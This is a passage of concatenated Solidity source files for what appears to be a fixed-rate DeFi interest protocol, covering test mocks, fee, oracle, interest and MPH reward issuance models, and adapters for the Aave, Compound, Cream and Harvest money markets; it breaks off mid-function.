OR OTHER DEALINGS IN THE */ pragma solidity 0.5.17; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract IRewardDistributionRecipient is Ownable { mapping(address => bool) public isRewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require( isRewardDistribution[_msgSender()], "Caller is not reward distribution" ); _; } function setRewardDistribution( address _rewardDistribution, bool _isRewardDistribution ) external onlyOwner { isRewardDistribution[_rewardDistribution] = _isRewardDistribution; } } contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public stakeToken; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(address _stakeToken) public { stakeToken = IERC20(_stakeToken); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakeToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakeToken.safeTransfer(msg.sender, amount); } } contract HarvestStakingMock is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public rewardToken; uint256 public constant DURATION = 7 days; uint256 public starttime; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } modifier checkStart { require(block.timestamp >= starttime, "Rewards: not start"); _; } constructor( address _stakeToken, address _rewardToken, uint256 _starttime ) public LPTokenWrapper(_stakeToken) { rewardToken = IERC20(_rewardToken); starttime = _starttime; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Rewards: cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Rewards: cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; rewardToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { // https://sips.synthetix.io/sips/sip-77 require(reward > 0, "Rewards: reward == 0"); require( reward < uint256(-1) / 10**18, "Rewards: rewards too large, would lock" ); if (block.timestamp > starttime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); emit RewardAdded(reward); } } } pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } pragma solidity 0.5.17; contract LendingPoolAddressesProviderMock { address internal pool; address internal core; function getLendingPool() external view returns (address) { return pool; } function setLendingPoolImpl(address _pool) external { pool = _pool; } } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./ATokenMock.sol"; contract LendingPoolMock { mapping(address => address) internal reserveAToken; function setReserveAToken(address _reserve, address _aTokenAddress) external { reserveAToken[_reserve] = _aTokenAddress; } function deposit( address asset, uint256 amount, address onBehalfOf, uint16 ) external { // Transfer asset ERC20 token = ERC20(asset); token.transferFrom(msg.sender, address(this), amount); // Mint aTokens address aTokenAddress = reserveAToken[asset]; ATokenMock aToken = ATokenMock(aTokenAddress); aToken.mint(onBehalfOf, amount); } function withdraw( address asset, uint256 amount, address to ) external returns (uint256) { // Burn aTokens address aTokenAddress = reserveAToken[asset]; ATokenMock aToken = ATokenMock(aTokenAddress); aToken.burn(msg.sender, amount); // Transfer asset ERC20 token = ERC20(asset); token.transfer(to, amount); } // The equivalent of exchangeRateStored() for Compound cTokens function getReserveNormalizedIncome(address asset) external view returns (uint256) { address aTokenAddress = reserveAToken[asset]; ATokenMock aToken = ATokenMock(aTokenAddress); return aToken.normalizedIncome(); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../libs/DecMath.sol"; contract VaultMock is ERC20, ERC20Detailed { using SafeMath for uint256; using DecMath for uint256; ERC20 public underlying; constructor(address _underlying) public ERC20Detailed("yUSD", "yUSD", 18) { underlying = ERC20(_underlying); } function deposit(uint256 tokenAmount) public { uint256 sharePrice = getPricePerFullShare(); _mint(msg.sender, tokenAmount.decdiv(sharePrice)); underlying.transferFrom(msg.sender, address(this), tokenAmount); } function withdraw(uint256 sharesAmount) public { uint256 sharePrice = getPricePerFullShare(); uint256 underlyingAmount = sharesAmount.decmul(sharePrice); _burn(msg.sender, sharesAmount); underlying.transfer(msg.sender, underlyingAmount); } function getPricePerFullShare() public view returns (uint256) { uint256 _totalSupply = totalSupply(); if (_totalSupply == 0) { return 10**18; } return underlying.balanceOf(address(this)).decdiv(_totalSupply); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../libs/DecMath.sol"; contract VaultWithDepositFeeMock is ERC20, ERC20Detailed { using SafeMath for uint256; using DecMath for uint256; uint256 PRECISION = 10**18; ERC20 public underlying; uint256 public depositFee; uint256 public feeCollected; constructor(address _underlying, uint256 _depositFee) public ERC20Detailed("yUSD", "yUSD", 18) { underlying = ERC20(_underlying); depositFee = _depositFee; } function deposit(uint256 tokenAmount) public { uint256 sharePrice = getPricePerFullShare(); uint256 shareAmountAfterFee = tokenAmount.decdiv(sharePrice).decmul(PRECISION.sub(depositFee)); uint256 tokenFee = tokenAmount.decmul(depositFee); _mint(msg.sender, shareAmountAfterFee); underlying.transferFrom(msg.sender, address(this), tokenAmount); feeCollected = feeCollected.add(tokenFee); } function withdraw(uint256 sharesAmount) public { uint256 sharePrice = getPricePerFullShare(); uint256 underlyingAmount = sharesAmount.decmul(sharePrice); _burn(msg.sender, sharesAmount); underlying.transfer(msg.sender, underlyingAmount); } function getPricePerFullShare() public view returns (uint256) { uint256 _totalSupply = totalSupply(); if (_totalSupply == 0) { return 10**18; } return underlying.balanceOf(address(this)).sub(feeCollected).decdiv(_totalSupply); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "./IFeeModel.sol"; contract PercentageFeeModel is IFeeModel, Ownable { using SafeMath for uint256; address payable public beneficiary; event SetBeneficiary(address newBeneficiary); constructor(address payable _beneficiary) public { beneficiary = _beneficiary; } function getFee(uint256 _txAmount) external pure returns (uint256 _feeAmount) { _feeAmount = _txAmount.div(5); // Precision is decreased by 1 decimal place } function setBeneficiary(address payable newValue) external onlyOwner { require(newValue != address(0), "PercentageFeeModel: 0 address"); beneficiary = newValue; emit SetBeneficiary(newValue); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../../moneymarkets/IMoneyMarket.sol"; import "../../libs/DecMath.sol"; import "./IInterestOracle.sol"; contract EMAOracle is IInterestOracle { using SafeMath for uint256; using DecMath for uint256; uint256 internal constant PRECISION = 10**18; /** Immutable parameters */ uint256 public UPDATE_INTERVAL; uint256 public UPDATE_MULTIPLIER; uint256 public ONE_MINUS_UPDATE_MULTIPLIER; /** Public variables */ uint256 public emaStored; uint256 public lastIncomeIndex; uint256 public lastUpdateTimestamp; /** External contracts */ IMoneyMarket public moneyMarket; constructor( uint256 _emaInitial, uint256 _updateInterval, uint256 _smoothingFactor, uint256 _averageWindowInIntervals, address _moneyMarket ) public { emaStored = _emaInitial; UPDATE_INTERVAL = _updateInterval; lastUpdateTimestamp = now; uint256 updateMultiplier = _smoothingFactor.div(_averageWindowInIntervals.add(1)); UPDATE_MULTIPLIER = updateMultiplier; ONE_MINUS_UPDATE_MULTIPLIER = PRECISION.sub(updateMultiplier); moneyMarket = IMoneyMarket(_moneyMarket); lastIncomeIndex = moneyMarket.incomeIndex(); } function updateAndQuery() public returns (bool updated, uint256 value) { uint256 timeElapsed = now - lastUpdateTimestamp; if (timeElapsed < UPDATE_INTERVAL) { return (false, emaStored); } // save gas by loading storage variables to memory uint256 _lastIncomeIndex = lastIncomeIndex; uint256 _emaStored = emaStored; uint256 newIncomeIndex = moneyMarket.incomeIndex(); uint256 incomingValue = newIncomeIndex.sub(_lastIncomeIndex).decdiv(_lastIncomeIndex).div(timeElapsed); updated = true; value = incomingValue.mul(UPDATE_MULTIPLIER).add(_emaStored.mul(ONE_MINUS_UPDATE_MULTIPLIER)).div(PRECISION); emaStored = value; lastIncomeIndex = newIncomeIndex; lastUpdateTimestamp = now; } function query() public view returns (uint256 value) { return emaStored; } } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../../libs/DecMath.sol"; contract LinearInterestModel { using SafeMath for uint256; using DecMath for uint256; uint256 public constant PRECISION = 10**18; uint256 public IRMultiplier; constructor(uint256 _IRMultiplier) public { IRMultiplier = _IRMultiplier; } function calculateInterestAmount( uint256 depositAmount, uint256 depositPeriodInSeconds, uint256 moneyMarketInterestRatePerSecond, bool, /*surplusIsNegative*/ uint256 /*surplusAmount*/ ) external view returns (uint256 interestAmount) { // interestAmount = depositAmount * moneyMarketInterestRatePerSecond * IRMultiplier * depositPeriodInSeconds interestAmount = depositAmount .mul(PRECISION) .decmul(moneyMarketInterestRatePerSecond) .decmul(IRMultiplier) .mul(depositPeriodInSeconds) .div(PRECISION); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../../libs/DecMath.sol"; import "./IMPHIssuanceModel.sol"; contract MPHIssuanceModel01 is Ownable, IMPHIssuanceModel { using Address for address; using DecMath for uint256; using SafeMath for uint256; uint256 internal constant PRECISION = 10**18; /** @notice The multiplier applied when minting MPH for a pool's depositor reward. Unit is MPH-wei per depositToken-wei per second. (wei here is the smallest decimal place) Scaled by 10^18. NOTE: The depositToken's decimals matter! */ mapping(address => uint256) public poolDepositorRewardMintMultiplier; /** @notice The multiplier applied when taking back MPH from depositors upon withdrawal. No unit, is a proportion between 0 and 1. Scaled by 10^18. */ mapping(address => uint256) public poolDepositorRewardTakeBackMultiplier; /** @notice The multiplier applied when minting MPH for a pool's funder reward. Unit is MPH-wei per depositToken-wei per second. (wei here is the smallest decimal place) Scaled by 10^18. NOTE: The depositToken's decimals matter! */ mapping(address => uint256) public poolFunderRewardMultiplier; /** @notice The period over which the depositor reward will be vested, in seconds. */ mapping(address => uint256) public poolDepositorRewardVestPeriod; /** @notice The period over which the funder reward will be vested, in seconds. */ mapping(address => uint256) public poolFunderRewardVestPeriod; /** @notice Multiplier used for calculating dev reward */ uint256 public devRewardMultiplier; event ESetParamAddress( address indexed sender, string indexed paramName, address newValue ); event ESetParamUint( address indexed sender, string indexed paramName, address indexed pool, uint256 newValue ); constructor(uint256 _devRewardMultiplier) public { devRewardMultiplier = _devRewardMultiplier; } /** @notice Computes the MPH amount to reward to a depositor upon deposit. @param pool The DInterest pool trying to mint reward @param depositAmount The deposit amount in the pool's stablecoins @param depositPeriodInSeconds The deposit's lock period in seconds @param interestAmount The deposit's fixed-rate interest amount in the pool's stablecoins @return depositorReward The MPH amount to mint to the depositor devReward The MPH amount to mint to the dev wallet govReward The MPH amount to mint to the gov treasury */ function computeDepositorReward( address pool, uint256 depositAmount, uint256 depositPeriodInSeconds, uint256 interestAmount ) external view returns ( uint256 depositorReward, uint256 devReward, uint256 govReward ) { uint256 mintAmount = depositAmount.mul(depositPeriodInSeconds).decmul( poolDepositorRewardMintMultiplier[pool] ); depositorReward = mintAmount; devReward = mintAmount.decmul(devRewardMultiplier); govReward = 0; } /** @notice Computes the MPH amount to take back from a depositor upon withdrawal. If takeBackAmount > devReward + govReward, the extra MPH should be burnt. @param pool The DInterest pool trying to mint reward @param mintMPHAmount The MPH amount originally minted to the depositor as reward @param early True if the deposit is withdrawn early, false if the deposit is mature @return takeBackAmount The MPH amount to take back from the depositor devReward The MPH amount from takeBackAmount to send to the dev wallet govReward The MPH amount from takeBackAmount to send to the gov treasury */ function computeTakeBackDepositorRewardAmount( address pool, uint256 mintMPHAmount, bool early ) external view returns ( uint256 takeBackAmount, uint256 devReward, uint256 govReward ) { takeBackAmount = early ? mintMPHAmount : mintMPHAmount.decmul(poolDepositorRewardTakeBackMultiplier[pool]); devReward = 0; govReward = early ? 0 : takeBackAmount; } /** @notice Computes the MPH amount to reward to a deficit funder upon withdrawal of an underlying deposit. @param pool The DInterest pool trying to mint reward @param depositAmount The deposit amount in the pool's stablecoins @param fundingCreationTimestamp The timestamp of the funding's creation, in seconds @param maturationTimestamp The maturation timestamp of the deposit, in seconds @param interestPayoutAmount The interest payout amount to the funder, in the pool's stablecoins. Includes the interest from other funded deposits. @param early True if the deposit is withdrawn early, false if the deposit is mature @return funderReward The MPH amount to mint to the funder devReward The MPH amount to mint to the dev wallet govReward The MPH amount to mint to the gov treasury */ function computeFunderReward( address pool, uint256 depositAmount, uint256 fundingCreationTimestamp, uint256 maturationTimestamp, uint256 interestPayoutAmount, bool early ) external view returns ( uint256 funderReward, uint256 devReward, uint256 govReward ) { if (early) { return (0, 0, 0); } funderReward = maturationTimestamp > fundingCreationTimestamp ? depositAmount .mul(maturationTimestamp.sub(fundingCreationTimestamp)) .decmul(poolFunderRewardMultiplier[pool]) : 0; devReward = funderReward.decmul(devRewardMultiplier); govReward = 0; } /** Param setters */ function setPoolDepositorRewardMintMultiplier( address pool, uint256 newMultiplier ) external onlyOwner { require(pool.isContract(), "MPHIssuanceModel: pool not contract"); poolDepositorRewardMintMultiplier[pool] = newMultiplier; emit ESetParamUint( msg.sender, "poolDepositorRewardMintMultiplier", pool, newMultiplier ); } function setPoolDepositorRewardTakeBackMultiplier( address pool, uint256 newMultiplier ) external onlyOwner { require(pool.isContract(), "MPHIssuanceModel: pool not contract"); require( newMultiplier <= PRECISION, "MPHIssuanceModel: invalid multiplier" ); poolDepositorRewardTakeBackMultiplier[pool] = newMultiplier; emit ESetParamUint( msg.sender, "poolDepositorRewardTakeBackMultiplier", pool, newMultiplier ); } function setPoolFunderRewardMultiplier(address pool, uint256 newMultiplier) external onlyOwner { require(pool.isContract(), "MPHIssuanceModel: pool not contract"); poolFunderRewardMultiplier[pool] = newMultiplier; emit ESetParamUint( msg.sender, "poolFunderRewardMultiplier", pool, newMultiplier ); } function setPoolDepositorRewardVestPeriod( address pool, uint256 newVestPeriodInSeconds ) external onlyOwner { require(pool.isContract(), "MPHIssuanceModel: pool not contract"); poolDepositorRewardVestPeriod[pool] = newVestPeriodInSeconds; emit ESetParamUint( msg.sender, "poolDepositorRewardVestPeriod", pool, newVestPeriodInSeconds ); } function setPoolFunderRewardVestPeriod( address pool, uint256 newVestPeriodInSeconds ) external onlyOwner { require(pool.isContract(), "MPHIssuanceModel: pool not contract"); poolFunderRewardVestPeriod[pool] = newVestPeriodInSeconds; emit ESetParamUint( msg.sender, "poolFunderRewardVestPeriod", pool, newVestPeriodInSeconds ); } function setDevRewardMultiplier(uint256 newMultiplier) external onlyOwner { require( newMultiplier <= PRECISION, "MPHIssuanceModel: invalid multiplier" ); devRewardMultiplier = newMultiplier; emit ESetParamUint( msg.sender, "devRewardMultiplier", address(0), newMultiplier ); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../IMoneyMarket.sol"; import "./imports/ILendingPool.sol"; import "./imports/ILendingPoolAddressesProvider.sol"; contract AaveMarket is IMoneyMarket, Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; using Address for address; uint16 internal constant REFERRALCODE = 20; // Aave referral program code ILendingPoolAddressesProvider public provider; // Used for fetching the current address of LendingPool ERC20 public stablecoin; ERC20 public aToken; constructor( address _provider, address _aToken, address _stablecoin ) public { // Verify input addresses require( _provider.isContract() && _aToken.isContract() && _stablecoin.isContract(), "AaveMarket: An input address is not a contract" ); provider = ILendingPoolAddressesProvider(_provider); stablecoin = ERC20(_stablecoin); aToken = ERC20(_aToken); } function deposit(uint256 amount) external onlyOwner { require(amount > 0, "AaveMarket: amount is 0"); ILendingPool lendingPool = ILendingPool(provider.getLendingPool()); // Transfer `amount` stablecoin from `msg.sender` stablecoin.safeTransferFrom(msg.sender, address(this), amount); // Approve `amount` stablecoin to lendingPool stablecoin.safeIncreaseAllowance(address(lendingPool), amount); // Deposit `amount` stablecoin to lendingPool lendingPool.deposit( address(stablecoin), amount, address(this), REFERRALCODE ); } function withdraw(uint256 amountInUnderlying) external onlyOwner returns (uint256 actualAmountWithdrawn) { require(amountInUnderlying > 0, "AaveMarket: amountInUnderlying is 0"); ILendingPool lendingPool = ILendingPool(provider.getLendingPool()); // Redeem `amountInUnderlying` aToken, since 1 aToken = 1 stablecoin // Transfer `amountInUnderlying` stablecoin to `msg.sender` lendingPool.withdraw( address(stablecoin), amountInUnderlying, msg.sender ); return amountInUnderlying; } function claimRewards() external {} function totalValue() external returns (uint256) { return aToken.balanceOf(address(this)); } function incomeIndex() external returns (uint256) { ILendingPool lendingPool = ILendingPool(provider.getLendingPool()); return lendingPool.getReserveNormalizedIncome(address(stablecoin)); } function setRewards(address newValue) external {} } pragma solidity 0.5.17; // Aave lending pool interface // Documentation: https://docs.aave.com/developers/the-core-protocol/lendingpool/ilendingpool // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. interface ILendingPool { /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.5.17; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ interface ILendingPoolAddressesProvider { function getLendingPool() external view returns (address); } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../IMoneyMarket.sol"; import "../../libs/DecMath.sol"; import "./imports/ICERC20.sol"; import "./imports/IComptroller.sol"; contract CompoundERC20Market is IMoneyMarket, Ownable { using DecMath for uint256; using SafeERC20 for ERC20; using Address for address; uint256 internal constant ERRCODE_OK = 0; ICERC20 public cToken; IComptroller public comptroller; address public rewards; ERC20 public stablecoin; constructor( address _cToken, address _comptroller, address _rewards, address _stablecoin ) public { // Verify input addresses require( _cToken.isContract() && _comptroller.isContract() && _rewards.isContract() && _stablecoin.isContract(), "CompoundERC20Market: An input address is not a contract" ); cToken = ICERC20(_cToken); comptroller = IComptroller(_comptroller); rewards = _rewards; stablecoin = ERC20(_stablecoin); } function deposit(uint256 amount) external onlyOwner { require(amount > 0, "CompoundERC20Market: amount is 0"); // Transfer `amount` stablecoin from `msg.sender` stablecoin.safeTransferFrom(msg.sender, address(this), amount); // Deposit `amount` stablecoin into cToken stablecoin.safeIncreaseAllowance(address(cToken), amount); require( cToken.mint(amount) == ERRCODE_OK, "CompoundERC20Market: Failed to mint cTokens" ); } function withdraw(uint256 amountInUnderlying) external onlyOwner returns (uint256 actualAmountWithdrawn) { require( amountInUnderlying > 0, "CompoundERC20Market: amountInUnderlying is 0" ); // Withdraw `amountInUnderlying` stablecoin from cToken require( cToken.redeemUnderlying(amountInUnderlying) == ERRCODE_OK, "CompoundERC20Market: Failed to redeem" ); // Transfer `amountInUnderlying` stablecoin to `msg.sender` stablecoin.safeTransfer(msg.sender, amountInUnderlying); return amountInUnderlying; } function claimRewards() external { comptroller.claimComp(address(this)); ERC20 comp = ERC20(comptroller.getCompAddress()); comp.safeTransfer(rewards, comp.balanceOf(address(this))); } function totalValue() external returns (uint256) { uint256 cTokenBalance = cToken.balanceOf(address(this)); // Amount of stablecoin units that 1 unit of cToken can be exchanged for, scaled by 10^18 uint256 cTokenPrice = cToken.exchangeRateCurrent(); return cTokenBalance.decmul(cTokenPrice); } function incomeIndex() external returns (uint256) { return cToken.exchangeRateCurrent(); } /** Param setters */ function setRewards(address newValue) external onlyOwner { require(newValue.isContract(), "CompoundERC20Market: not contract"); rewards = newValue; emit ESetParamAddress(msg.sender, "rewards", newValue); } } pragma solidity 0.5.17; // Compound finance ERC20 market interface // Documentation: https://compound.finance/docs/ctokens interface ICERC20 { function transfer(address dst, uint256 amount) external returns (bool); function transferFrom(address src, address dst, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function getAccountSnapshot(address account) external view returns (uint256, uint256, uint256, uint256); function borrowRatePerBlock() external view returns (uint256); function supplyRatePerBlock() external view returns (uint256); function totalBorrowsCurrent() external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function getCash() external view returns (uint256); function accrueInterest() external returns (uint256); function seize(address liquidator, address borrower, uint256 seizeTokens) external returns (uint256); function mint(uint256 mintAmount) external returns (uint256); function redeem(uint256 redeemTokens) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256); function liquidateBorrow( address borrower, uint256 repayAmount, address cTokenCollateral ) external returns (uint256); } pragma solidity 0.5.17; // Compound finance Comptroller interface // Documentation: https://compound.finance/docs/comptroller interface IComptroller { function claimComp(address holder) external; function getCompAddress() external view returns (address); } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../IMoneyMarket.sol"; import "../../libs/DecMath.sol"; import "./imports/ICERC20.sol"; contract CreamERC20Market is IMoneyMarket, Ownable { using DecMath for uint256; using SafeERC20 for ERC20; using Address for address; uint256 internal constant ERRCODE_OK = 0; ICERC20 public cToken; ERC20 public stablecoin; constructor(address _cToken, address _stablecoin) public { // Verify input addresses require( _cToken.isContract() && _stablecoin.isContract(), "CreamERC20Market: An input address is not a contract" ); cToken = ICERC20(_cToken); stablecoin = ERC20(_stablecoin); } function deposit(uint256 amount) external onlyOwner { require(amount > 0, "CreamERC20Market: amount is 0"); // Transfer `amount` stablecoin from `msg.sender` stablecoin.safeTransferFrom(msg.sender, address(this), amount); // Deposit `amount` stablecoin into cToken stablecoin.safeIncreaseAllowance(address(cToken), amount); require( cToken.mint(amount) == ERRCODE_OK, "CreamERC20Market: Failed to mint cTokens" ); } function withdraw(uint256 amountInUnderlying) external onlyOwner returns (uint256 actualAmountWithdrawn) { require( amountInUnderlying > 0, "CreamERC20Market: amountInUnderlying is 0" ); // Withdraw `amountInUnderlying` stablecoin from cToken require( cToken.redeemUnderlying(amountInUnderlying) == ERRCODE_OK, "CreamERC20Market: Failed to redeem" ); // Transfer `amountInUnderlying` stablecoin to `msg.sender` stablecoin.safeTransfer(msg.sender, amountInUnderlying); return amountInUnderlying; } function claimRewards() external {} function totalValue() external returns (uint256) { uint256 cTokenBalance = cToken.balanceOf(address(this)); // Amount of stablecoin units that 1 unit of cToken can be exchanged for, scaled by 10^18 uint256 cTokenPrice = cToken.exchangeRateCurrent(); return cTokenBalance.decmul(cTokenPrice); } function incomeIndex() external returns (uint256) { return cToken.exchangeRateCurrent(); } /** Param setters */ function setRewards(address newValue) external onlyOwner {} } pragma solidity 0.5.17; // Compound finance ERC20 market interface // Documentation: https://compound.finance/docs/ctokens interface ICERC20 { function transfer(address dst, uint256 amount) external returns (bool); function transferFrom(address src, address dst, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function getAccountSnapshot(address account) external view returns (uint256, uint256, uint256, uint256); function borrowRatePerBlock() external view returns (uint256); function supplyRatePerBlock() external view returns (uint256); function totalBorrowsCurrent() external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function getCash() external view returns (uint256); function accrueInterest() external returns (uint256); function seize(address liquidator, address borrower, uint256 seizeTokens) external returns (uint256); function mint(uint256 mintAmount) external returns (uint256); function redeem(uint256 redeemTokens) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256); function liquidateBorrow( address borrower, uint256 repayAmount, address cTokenCollateral ) external returns (uint256); } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../IMoneyMarket.sol"; import "../../libs/DecMath.sol"; import "./imports/HarvestVault.sol"; import "./imports/HarvestStaking.sol"; contract HarvestMarket is IMoneyMarket, Ownable { using SafeMath for uint256; using DecMath for uint256; using SafeERC20 for ERC20; using Address for address; HarvestVault public vault; address public rewards; HarvestStaking public stakingPool; ERC20 public stablecoin; constructor( address _vault, address _rewards, address _stakingPool, address _stablecoin ) public { // Verify input addresses require( _vault.isContract() && _rewards.isContract() && _stakingPool.isContract() && _stablecoin.isContract(), "HarvestMarket: An input address is not a contract" ); vault = HarvestVault(_vault); rewards = _rewards; stakingPool = HarvestStaking(_stakingPool); stablecoin = ERC20(_stablecoin); } function deposit(uint256 amount) external onlyOwner { require(amount > 0, "HarvestMarket: amount is 0"); // Transfer `amount` stablecoin from `msg.sender` stablecoin.safeTransferFrom(msg.sender, address(this), amount); // Approve `amount` stablecoin to vault stablecoin.safeIncreaseAllowance(address(vault), amount); // Deposit `amount` stablecoin to vault vault.deposit(amount); // Stake 